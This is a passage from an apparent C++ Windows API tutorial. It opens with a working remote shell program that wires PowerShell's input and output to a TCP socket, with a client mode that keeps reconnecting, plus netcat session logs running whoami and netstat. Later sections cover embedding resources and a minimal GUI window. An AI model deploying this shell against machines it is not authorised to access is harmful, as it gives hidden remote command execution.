                          ,SOCK_STREAM
                          ,IPPROTO_TCP
                          ,NULL
                          ,static_cast<unsigned int>(NULL)
                          ,static_cast<unsigned int>(NULL)
                          ); 

    if(m_socket == INVALID_SOCKET){
      throw std::runtime_error("Error, I cannot create socket");
    }
    memset(&m_addr, 0, sizeof(m_addr));
  }


  Socket(SOCKET sock, SOCKADDR_IN addr)
  {
    m_socket = sock;
    m_addr = addr;
  }

  ~Socket()
  {
    if(m_cleanup){
      std::cerr  << " [INFO ] Cleanup OK." << std::endl;
      closesocket(m_socket);
      WSACleanup();
    }
  }

  bool isValid() const 
  {
     return m_socket != -1;
  }

  void setNotCleanup()
  {
    m_cleanup = false;
  }

  // For client-socket only 
  void connect(std::string hostname, int port)
  {
    std::cout << "Connecting to server" << std::endl;
    // throw std::runtime_error("Connection failure.");
    m_host                 = hostname;
    m_port                 = port;    
    m_addr.sin_family      = AF_INET;
    m_addr.sin_addr.s_addr = inet_addr(hostname.c_str());
    m_addr.sin_port        = htons(port);
    int connval = WSAConnect(m_socket,
                             reinterpret_cast<SOCKADDR*>(&m_addr),
                             sizeof(m_addr), NULL, NULL, NULL, NULL
                             );
    if(connval == SOCKET_ERROR){
      throw std::runtime_error("Error: cannot connect to server <" + m_host + ":" + std::to_string(m_port) + ">");
      // throw std::runtime_error("Error: cannot connect to server");
    }
    std::cout << "I am connected. OK." << std::endl;    
  }

  // For server-socket (aka listening socket only)
  void bind(std::string hostname, int port, int backlog = 5)
  {
    m_host                 = hostname;
    m_port                 = port;    
    m_addr.sin_family      = AF_INET;
    m_addr.sin_addr.s_addr = inet_addr(hostname.c_str());
    m_addr.sin_port        = htons(port);

    // TODO => Implement error handler
    assert( ::bind( m_socket, (SOCKADDR*) &m_addr , sizeof(m_addr)) != -1 );

    assert( listen(m_socket, backlog) != -1 );

    // int enable = 1;  
    // int result =  setsockopt( m_socket, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(int) ); 
    // assert( resutl != -1);
  }

  // For server socket only =>> 
  // Block current thread and wait for new client connection. 
  Socket accept()
  {
    SOCKET client ;
    SOCKADDR_IN addr;
    int len = sizeof(addr);
    client = ::accept(m_socket, (SOCKADDR*) &addr, &len);
    // assert( client != -1);
    return Socket(client, addr);
  }

  void disconnect()
  {
    closesocket(m_socket);
  }

  void send(const char* buffer, size_t len, int flags = 0) const 
  {
    ::send(m_socket, buffer, len, flags);
  } 

  int recev(char* buffer, size_t len, int flags  = 0) const
  {
    return ::recv(m_socket, buffer, len , flags);
  }

  void sendText(const std::string& text) const
  {
    ::send(m_socket, text.c_str(), text.size(), 0);
  }

  void sendLine(const std::string& line) const 
  {
    this->sendText(line + "\n");
  }  

  std::string recevText(size_t size)
  {
    std::string buffer(size, 0);
    int n = ::recv(m_socket, &buffer[0], size , 0);
    buffer.resize(n);
    return buffer;
  }

  HANDLE handle() const 
  {
    return reinterpret_cast<HANDLE>(m_socket);
  }

}; //---- EoF class ClientSocket ---- //


void makeRemoteRepl(const Socket& sock, const std::string& cmdline, bool waitFlag = false);


int main(int argc, char** argv)
{
  if( argc < 5 )
  {
    std::cout << " [TRACE] Usage " 
              << " \n $ client " << argv[0] << " <HOSTNAME> <PORT> <PROGRAM> "
              << " \n $ server " << argv[0] << " <HOSTNAME> <PORT> <PROGRAM> "
              << std::endl;

    return EXIT_FAILURE;
  }

  const std::string command  = argv[1];  
  const std::string address  = argv[2]; 
  const DWORD       port     = std::stoi(argv[3]);
  const std::string shell    = argv[4];

  std::cerr << "Running main" << std::endl;

  if( command == "server" )
  {
    Socket server;
    server.bind(address, port, 5);

    // Socket server infinite loop  
    for(;;)
    {
        std::cout << " [TRACE] Waiting client connection. " << std::endl;
        Socket client = server.accept();
        if(! client.isValid() ){ continue; }
        makeRemoteRepl(client, shell, true);
    }
  }

  if( command == "client")
  {
    for (;;)
    {
      Socket client;
      client.setNotCleanup();

      while (true)
      {
        try
        {
          std::cerr << "Trying to connect to server" << std::endl;
          client.connect(address, port);
          break;
        }
        catch (const std::exception &e)
        {
          std::cerr << e.what() << std::endl;
          //exit(EXIT_FAILURE);
        }
      }
      std::cout << "Socket connected OK." << std::endl;
      client.sendLine(" [LOG] Client socket running OK!");
      makeRemoteRepl(client, shell, true);
    }
  }

  // Connection loop - 
  std::cerr << "End successfully" << std::endl;

  // Returns status code 0
  return EXIT_SUCCESS;
}

// ----------------------------------------------------- // 


void makeRemoteRepl( const Socket& sock
                    , const std::string& cmdline
                    , bool waitFlag 
                    )
{
  // Create process 
  PROCESS_INFORMATION pi;
  STARTUPINFO sui;
  memset(&sui, 0, sizeof(sui));  
  sui.cb          = sizeof(sui);
  sui.dwFlags     = STARTF_USESTDHANDLES ; // | STARTF_USESHOWWINDOW;
  sui.wShowWindow = SW_HIDE;
  sui.hStdInput   = sock.handle();
  sui.hStdOutput  = sock.handle(); 
  sui.hStdError   = sock.handle();

  int bSuccess = CreateProcessA( NULL, const_cast<LPSTR>(cmdline.c_str())
                , NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sui, &pi);

  if(bSuccess)
  {
    sock.sendLine(" [INFO ] Remote repl session started OK.!");
    sock.sendLine(" [INFO ] Success code    = " + std::to_string(bSuccess));
    DWORD pid = GetProcessId(pi.hProcess);
    sock.sendLine(" [INFO ] Process ID <PID> = " + std::to_string(pid));
  } else {
    sock.sendLine(" [ERROR] Failed to create process.");
  }
  if(waitFlag){
    WaitForSingleObject( pi.hProcess, INFINITE );
    CloseHandle( pi.hProcess );
    CloseHandle( pi.hThread );
    sock.sendLine(" [LOG] Process finished.");
  }
}

Building

$ cmake -B_build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Debug
$ cmake --build --target all

Running application in client mode

Linux Remote terminal: (netcat server)

# User types commands here that are sent to Windows machine.

# Run netcat as server 
$ rlwrap nc -nlvp 9010
Listening on 0.0.0.0 9010
Connection received on 192.168.1.105 53950
[LOG] Client socket running OK!
[INFO ] Remote repl session started OK.!
[INFO ] Success code    = 1
[INFO ] Process ID <PID> = 1552
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\> whoami
whoami

desktop-36ar81f\nixuserp


PS C:\> netstat -a
netstat -a

Active Connections

Proto  Local Address          Foreign Address        State
TCP    0.0.0.0:135            184-86-53-99:0         LISTENING
TCP    0.0.0.0:445            184-86-53-99:0         LISTENING
TCP    0.0.0.0:5357           184-86-53-99:0         LISTENING
TCP    0.0.0.0:5985           184-86-53-99:0         LISTENING
TCP    0.0.0.0:47001          184-86-53-99:0         LISTENING
TCP    0.0.0.0:49664          184-86-53-99:0         LISTENING

... ...     ... ...   ... ...   ... ...   ... ...   ... ...   ... ... 
... ...   ... ...   ... ...   ... ...   ... ...   ... ...   ... ... 

PS C:\> exit
exit
[LOG] Process finished.

Windows terminal: (client)

$ remote-repl.exe client 192.168.1.115 9010 powershell

Running main
Trying to connect to server
Connecting to server
I am connected. OK.
Socket connected OK.

Running application in server mode

Windows terminal: (server)

$ remote-repl.exe server 0.0.0.0 9010 powershell
Running main
[TRACE] Waiting client connection.

Linux remote terminal (client)

# User types commands here that are sent to Windows machine.

$ rlwrap nc 192.168.1.105 9010
[INFO ] Remote repl session started OK.!
[INFO ] Success code    = 1
[INFO ] Process ID <PID> = 4912
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\> whoami
whoami

desktop-36ar81f\nixuserp
PS C:\> 


PS C:\> ls -Force /
ls -Force /


    Directory: C:\


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d--hs-        9/19/2021   9:47 AM                $Recycle.Bin                                                          
d--hs-        9/27/2021  11:53 AM                Config.Msi                                                            
d--hsl        9/19/2021   9:40 AM                Documents and Settings                                                
d-----        3/18/2019   9:52 PM                PerfLogs                                                              
d-r---        9/27/2021  11:53 AM                Program Files                                                         
d-r---        9/27/2021  11:53 AM                Program Files (x86)                                                   
d--h--        9/27/2021  11:53 AM                ProgramData                                                           
d--hs-        9/19/2021   9:41 AM                Recovery                                                              
d--hs-        9/27/2021  11:46 AM                System Volume Information                                             
d-r---        9/19/2021   6:02 AM                Users                                                                 
d-----        9/19/2021   9:48 AM                Windows                                                               
-a-hs-        9/27/2021   5:58 PM      872415232 pagefile.sys                                                          
-a-hs-        9/27/2021   5:58 PM      268435456 swapfile.sys                                                          

1.30 Embed Resources into Executables

The Windows API has several facilities for loading embedded resource, such data such as strings, icon, menus and any arbitrary data from PE32 executables and dynamic linked libraries DLLs. Cross platform applications should avoid using the Windows APIs be listed in this section, since they are specific to Windows, therefore they not portable to other operatingss systems. Applications aiming portability should libraries such as incbin libraries cmrc (CMake-Resource Compiler) and also resource compilers from frameworks such as Qt and WxWidgets.

Windows APIs for dealing with resources:

  • Menus and Other Resources
  • FindResourceA()
    • "Determines the location of a resource with the specified type and name in the specified module."
  • LockResource
    • "Retrieves a pointer to the specified resource in memory."
  • LoadResource()
    • "Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory."
  • SizeofResource()
    • "Retrieves the size, in bytes, of the specified resource."

Project Files

File: CMakeLists.txt

cmake_minimum_required(VERSION 3.0)
project(cpp-windows)

set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_VERBOSE_MAKEFILE ON)

add_executable(winapp app.cpp myresource.rc VERSIONINFO.rc)

File: app.cpp

#include <iostream>
#include <cassert>

#include <windows.h>

struct Buffer{
  char*  ptr;
  size_t size;
};

Buffer 
find_resouce(HMODULE hMod, const char* name, const char* type)
{

  HRSRC rsrc = FindResourceA(hMod, name, type);
  assert( rsrc != nullptr );

  HGLOBAL hGlobal = LoadResource(hMod, rsrc);
  assert( hGlobal != nullptr );

  // Pointer to first byte of resource in memory
  LPVOID pRes = LockResource(hGlobal);
  assert( pRes != nullptr );

  // Size of resource in bytes 
  DWORD size = SizeofResource(hMod, rsrc);

  return { static_cast<char*>(pRes), size };
}

std::string
find_resouce_text(HMODULE hMod, const char* name, const char* type)
{

  Buffer b = find_resouce(hMod, name, type);
  auto data = std::string(b.ptr, b.ptr + b.size);
  return data;
}

void enumerate_resources(HMODULE hMod, const char* type)
{
  auto callback = [](HMODULE hMod, const char* type, char* name, LONG_PTR param)
  {
    std::cout << " [*] Resource type = " << type
              << " ; name = " << name << std::endl;
    return TRUE;
  };

  long long int status = 0;
  BOOL result = EnumResourceNamesA(hMod, type, callback, status);

}


int main()
{
  HMODULE hMod = GetModuleHandleA(nullptr);
  assert( hMod != nullptr );

  enumerate_resources(hMod, RT_RCDATA);

  std::cout << "\n ----- Display ASCII Art Resource -----" << std::endl;

  auto data = find_resouce_text(hMod, "MYRESOURCE", RT_RCDATA);

  std::cout << " [*] Resource data = \n" << data << std::endl;

  std::cin.get();
  return 0;
}

File: myresource.rc (Resource script - processed by the resource compiler)

MYRESOURCE RCDATA "myresource.txt"

File: myresource.txt (resource to be embedded).

File with this resource.

"At vero eos et accusamus et iusto odio dignissimos ducimus qui
blanditiis praesentium voluptatum deleniti atque corrupti quos dolores
et quas molestias excepturi sint occaecati cupiditate non provident,
similique sunt in culpa qui officia deserunt mollitia animi, id est
laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita
distinctio. Nam libero tempore, cum soluta nobis est eligendi optio
cumque nihil impedit quo minus id quod maxime placeat facere possimus,
omnis voluptas assumenda est, omnis dolor repellendus. Temporibus
autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe
eveniet ut et voluptates repudiandae sint et molestiae non
recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut
reiciendis voluptatibus maiores alias consequatur aut perferendis
doloribus asperiores repellat."

File: VERSIONINFO.rc (Contains metadata indicating version, vendor, product name and so on.)

#include <winver.h>
#include <ntdef.h>

#ifdef RC_INVOKED

#if DBG
#define VER_DBG VS_FF_DEBUG
#else
#define VER_DBG 0
#endif

VS_VERSION_INFO VERSIONINFO
FILEVERSION             1,0,0,0                 // 1.0.0.0 - Application version 
PRODUCTVERSION          1,0,0,0                 // 1.0.0.0 - Produce version     
FILEFLAGSMASK           VS_FFI_FILEFLAGSMASK
FILEFLAGS               VER_DBG
FILEOS                  VOS_NT
FILETYPE                VFT_DRV
FILESUBTYPE             VFT2_DRV_SYSTEM
BEGIN
        BLOCK "StringFileInfo"
        BEGIN
                BLOCK "040904b0"
        BEGIN
                VALUE "Comments",         "SomeProduct awesome"
                VALUE "CompanyName",      "Some company XYZWK, Inc."
                VALUE "FileDescription",  "MyProduct"
                VALUE "FileVersion",      "V1.0.0.0"
                VALUE "InternalName",     "Some super product"
                VALUE "LegalCopyright",   "(C)2018 Some company XYZWK .Incorporated."
                VALUE "OriginalFilename", "winapp.exe"
                VALUE "ProductName",      "SomeProduct"
                VALUE "ProductVersion",   "V1.2.3.0"
        END
        END
        BLOCK "VarFileInfo"
        BEGIN
                VALUE "Translation", 0x0409,1200
        END
END
#endif

Building and running

Building:

$ cmake -B_build -G "MinGW Makefiles"
$ cmake --build _build --target all 

Running:

$ _build\winapp.exe

[*] Resource type =
----- Display ASCII Art Resource -----
[*] Resource data =
File with this resource.

"At vero eos et accusamus et iusto odio dignissimos ducimus qui
blanditiis praesentium voluptatum deleniti atque corrupti quos dolores
et quas molestias excepturi sint occaecati cupiditate non provident,
similique sunt in culpa qui officia deserunt mollitia animi, id est
laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita
distinctio. Nam libero tempore, cum soluta nobis est eligendi optio
cumque nihil impedit quo minus id quod maxime placeat facere possimus,
omnis voluptas assumenda est, omnis dolor repellendus. Temporibus
autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe
eveniet ut et voluptates repudiandae sint et molestiae non
recusandae. Itaque earum rerum hic tenetur a sapiente delectus, ut aut
reiciendis voluptatibus maiores alias consequatur aut perferendis
doloribus asperiores repellat."

1.31 Graphical User Interfaces - WinAPI

1.31.1 Minimal GUI Program - "hello world"

  1. Overview

    This code contains a minimal graphical user interface with Windows API.

    Source:

    Full Code

    File: gui-basic1.cpp

    #include <iostream>
    #include <string> 
    #include <map>
    #include <set>
    #include <sstream>
    
    #include <windows.h>
    
    LRESULT CALLBACK windowProcedure( HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
    
    auto WinMessageToString(UINT msg) -> std::string;
    
    int WINAPI WinMain(
            // Handle to current application isntance 
            HINSTANCE hInstance,
            HINSTANCE hPrevInstance,
            // Command line 
            LPSTR     lpCmdLine,
            int       nCmdShow
            ){
    
            OutputDebugString("Starting WinMain Application");
            std::puts("It will not print to Console - Starting WinMain Application");   
    
            //Window class name must be unique 
            const char wincClassName [] = "NameOfWindow";
    
            // Win32 Window class structure
            WNDCLASSEX wc;
            // Win32 message structure 
            MSG Msg;            
    
           // Name to identify the class with. 
            wc.lpszClassName = wincClassName;
            //Pointer to the window procedure for this window class. 
            wc.lpfnWndProc = windowProcedure;   
            // 1 - Register Windows Size
            wc.cbSize = sizeof(WNDCLASSEX);
    
            wc.style  = 0;
            //Amount of extra data allocated for this class in memory. Usually 0
            wc.cbClsExtra = 0;
            //Amount of extra data allocated in memory per window of this type. Usually 0. 
            wc.cbWndExtra = 0;
            //Handle to application instance (that we got in the first parameter of WinMain()). 
            wc.hInstance = hInstance;
            // Large (usually 32x32) icon shown when the user presses Alt+Tab. 
            wc.hIcon = LoadIcon(NULL, IDI_APPLICATION);
            // Cursor that will be displayed over our window. 
            wc.hCursor = LoadCursor(NULL, IDC_ARROW);
            // Background Brush to set the color of our window. 
            wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); // (HBRUSH) CreateSolidBrush(RGB(10, 20, 30)); // 
            // Background Brush to set the color of our window. 
            wc.lpszMenuName = NULL; 
            // Small (usually 16x16) icon to show in the taskbar and in the top left corner of the window. 
            wc.hIconSm = LoadIcon(NULL, IDI_APPLICATION);  
    
            OutputDebugString("Registered Window Class OK.");
    
            if(!RegisterClassEx(&wc)) 
            {
                    MessageBox( NULL,
                               "Window Registration Failed!",
                               "Error!",
                               MB_ICONEXCLAMATION | MB_OK);
                    //Error status code 
                    return -1;
            }
    
            std::cout << "Class Registered" << std::endl;
    
            int width = 500, height = 400;
            int pos_left = 400, pos_top = 100;
    
            HWND hwnd = CreateWindowA(
                    wc.lpszClassName,
                    "Title of Window",
                    WS_OVERLAPPEDWINDOW,
                    pos_left,
                    pos_top,
                    width,
                    height,
                    nullptr,
                    nullptr,
                    hInstance,
                    nullptr
                    );  
            OutputDebugString(" [INFO] Window created OK");
    
            if(hwnd == NULL){
                    MessageBox(NULL,
                                       "Error: Failure to create Window",
                                       "Error Report",
                                       MB_ICONEXCLAMATION | MB_OK);
                    return -1;
            }
            ShowWindow(hwnd, nCmdShow);
            std::cout << "nCmdShow = " << nCmdShow << std::endl;
            UpdateWindow(hwnd);
    
            //---- Message Loop ----------//
            while(GetMessage(&Msg, NULL, 0, 0) > 0 ){
                    TranslateMessage(&Msg);
                    DispatchMessage(&Msg);
            }
    
            OutputDebugString(" [INFO] Exiting application. OK.");  
            // Success status code 
            return 0;
    }
    // ------------ End of Main ------------------------- //
    
    
    // Window Procedure - Process window messages or events 
    LRESULT CALLBACK windowProcedure (
             HWND   hwnd    // Window Handle (Window object)
            ,UINT   msg     // Window Message  
            ,WPARAM wParam  // Additional message information
            ,LPARAM lParam  // Additional message information
            ){
    
            // Variable initialized one. 
            static auto ignored_messages = std::set<UINT>{
                    WM_MOUSEMOVE, WM_NCHITTEST, WM_SETCURSOR, WM_IME_NOTIFY
            };
    
            // Ignore messages which can flood the logging 
            // if(msg != WM_MOUSEMOVE && msg != WM_NCMOUSEMOVE
            //    && msg != WM_QUIT && msg != WM_NCHITTEST )
            if(ignored_messages.find(msg) == ignored_messages.end())
                    OutputDebugString(WinMessageToString(msg).c_str()); 
    
            // Process messages 
            switch(msg)
            {
                case WM_CREATE:
                        SetWindowTextA(hwnd, "Change Window Title");        
                        OutputDebugString(" [INFO] Window created. OK.");
                        break;
                case WM_CLOSE:
                            OutputDebugString(" [INFO] Window closed. OK.");
                            DestroyWindow(hwnd);
                            break;
                case WM_DESTROY:
                            OutputDebugString(" [INFO] Exiting application. OK.");
                            PostQuitMessage(0);
                            break;
                case WM_MOVE:
                        std::cerr << " [INFO] Move window." << std::endl;
                        break; 
                case WM_PAINT:
                {
                        // GDI - Graphics Devices Interface Here
                        //--------------------------------------------
                        PAINTSTRUCT ps;
                        HDC hdc;
                        // std::cerr << " [INFO] Windown painting" << std::endl;
                        hdc = BeginPaint(hwnd, &ps);
                        std::string text = "Hello world Window!";       
                        TextOutA(hdc, 125, 200, text.c_str(), text.size());
                        Ellipse(hdc, 100, 100, 160, 160);
                        Rectangle(hdc, 100, 100, 160, 160);
                        EndPaint(hwnd, &ps);        
                }
                break;
              default:
                        return DefWindowProc(hwnd, msg, wParam, lParam);
          }
    
            return 0;
    }
    
    /** Get a human-readable description of a Windows message as a string */
    auto WinMessageToString(UINT msg) -> std::string 
    {
            /** Database of Windows messages - full list of messages here: 
             *   https://wiki.winehq.org/List_Of_Windows_Messages
             */
            static auto WindowMessages = std::map<UINT, std::string>{
                    {1, "WM_CREATE"}, {2, "WM_DESTROY"}, {5, "WM_SIZE"},
                    {6, "WM_ACTIVATE"}, {13, "WM_SIZE"}, {22, "WM_SETVISIBLE"},
                    {23, "WM_ENABLE"},  {29, "WM_PAINT"}, {3, "WM_MOVE"}, {30, "WM_CLOSE"},
                    {32, "WM_SETCURSOR"},  {72, "WM_FULLSCREEN"}, {85, "WM_COPYDATA"},
                    {512, "WM_MOUSEMOVE"},{132, "WM_NCHITTEST"}, {641, "WM_IME_SETCONTEXT"},
                    {8, "WM_KILLFOCUS"}, {134, "WM_NCACTIVATE"}, {28, "WM_ACTIVATEAPP"},
                    {160, "WM_NCMOUSEMOVE"}, {161, "WM_NCLBUTTONDOWN"},
                    {36, "WM_GETMINMAXINFO"}, {642, "WM_IME_NOTIFY"}, {433, "WM_CAPTURECHANGED"},
                    {534, "WM_MOVING"}, {674, "WM_NCMOUSELEAVE"}, {675, "WM_MOUSELEAVE"},
                    {532, "WM_SIZING"}, {533, "WM_CAPTURECHANGED"}, {127, "WM_GETICON"},
                    {20, "WM_ERASEBKGND"}, {70, "WM_WINDOWPOSCHANGING"}, {71, "WM_WINDOWPOSCHANGED"},
                    {273, "WM_COMMAND"}, {274, "WM_SYSCOMMAND"}, {275, "WM_TIMER"}, {513, "WM_LBUTTONDOWN"},
                    {514, "WM_LBUTTONUP"}
            };
            // Code for debugging messages sent to Window
            static std::stringstream ss;
            ss.str("");
            ss << " [TRACE] WNPROC Message =>  "
               << " Code = " << msg;
            if(WindowMessages.find(msg) != WindowMessages.end())
                    ss << " ; Message = " << WindowMessages[msg];
            else
                    ss << " ; Message = Unknown "; 
            return ss.str();
    }
    

    Compiling:

    • MSVC
    # Build 
    $ cl.exe gui-basic1.cpp /EHsc /Zi /nologo /Fe:gui-basic1.exe user32.lib gdi32.lib 
    
    • Mingw/GCC:
    $ g++ gui-basic1.cpp -o gui-basic1.exe -std=c++1z -g -lgdi32 -luser32
    

    Running:

    The executable gui-basic1.exe can be run by clicking on it or by launching it from console (cmd.exe). However, it will not open any console and program statements for printing to stdout will have no effect since the program was compiled for the Windows subsystem rather than for the console subsystem.

    gui-program-basic1.png

    Figure 3: Basic GUI Program

  2. Parts
    1. Main Function
      • Window subsystem entry point

      The entry point of a GUI program is no longer the main function, it is now the WinMain function which is the entry point of the window subsystem. The name 'WINAPI' is just a macro which is expanded to __stdcall, a calling convention qualifier.

      Parameters:

      • hInstance => Handler to current program.
      • hPrevInstance => Legacy and used for backward compatibility reasons.
      • lpCmdLine => Command line
      • nCmdShow =>
      int WINAPI WinMain(
              // Handle to current application isntance 
              HINSTANCE hInstance,
              HINSTANCE hPrevInstance,
              // Command line 
              LPSTR     lpCmdLine,
              int       nCmdShow
              ){
         ... .... ... 
           return 0;
       }
      
      • Logging with OutputDebugString

      It is not possible to visualize the output printed to stdout or stderr of a program compiled for the Window subystem since no terminal is opened and even launching the program in the console (cmd.exe or cmder) does not print anything. A workaround to this hurdle is to print to a file or redirect stdout or stderr to a file stream. Another better solution is to use the API OutputDebugString as its output is sent to shared memory and can be captured with the DebugView (download) sysinternals tool.

      int WINAPI WinMain( ... ){
      
          OutputDebugString("Starting WinMain Application");
          std::puts("It will not print to Console - Starting WinMain Application");   
          ... ... ... 
          OutputDebugString("Registered Window Class OK.");
      
          ... ... 
          OutputDebugString(" [INFO] Exiting application. OK.");  
          // Success status code
          return 0;
      }
      

      The sysinternal tool DebugView is useful for debugging and visualizing logging of any program not able to print to console such as graphical programs compiled to window subsystem, DLL (Dynamic Linked Libraries), services (aka daemons), servers and etc.